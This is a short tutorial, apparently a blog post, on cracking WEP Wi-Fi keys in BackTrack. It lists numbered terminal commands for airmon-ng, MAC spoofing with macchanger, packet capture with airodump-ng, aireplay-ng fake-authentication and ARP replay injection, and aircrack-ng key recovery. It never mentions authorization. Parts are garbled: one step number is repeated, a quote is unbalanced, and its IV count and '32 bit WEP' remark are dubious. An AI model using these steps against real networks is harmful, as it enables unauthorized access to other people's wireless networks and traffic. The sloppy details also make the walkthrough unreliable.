How to Crack WEP Keys on Backtrack

Allright now you should be in Backtrack the desktop should be all loaded and you should be ready to start cracking those WEP Keys.
1. First you must click on the Terminal icon in the bottom toolbar it looks like a black TV.
2. Now you must type in airmon-ng the command will display a card name which you will need to remember and substitute for the “eth1″.
3. Now type airmon-ng stop “eth1″.
4.Now type ifconfig “eth1″ down
5.Now type macchanger –mac 00:11:22:33:44:55 “eth1″
6.Now type airmon-ng start “eth1″
7.Now type airodump-ng “eth1″
*You need to note the Channel, The BSSID, and the ESSID to crack.*
8.Now type airodump-ng -c “whatever channel” -w “whateverfilenameuwant” –BSSID “whateverbssid” “eth1″
*Make sure that you leave this window open so run a new Terminal.*
9.aireplay-ng -1 0 -a “bssid” -h 00:11:22:33:44:55 “eth1″
*Leave this windows open.*
10.aireplay-ng -3 -b “bssid -h 00:11:22:33:44:55 “eth1″
*Leave this window open.*
11. Now go back and wait for the Data to hit 1000 IVS than run the next command.
*This is for a 32 bit WEP.*
11.aircrack-ng -b “bssid” “whateverfilename”.
The key that is displayed

Anda Sudah Baca Yang Ini? :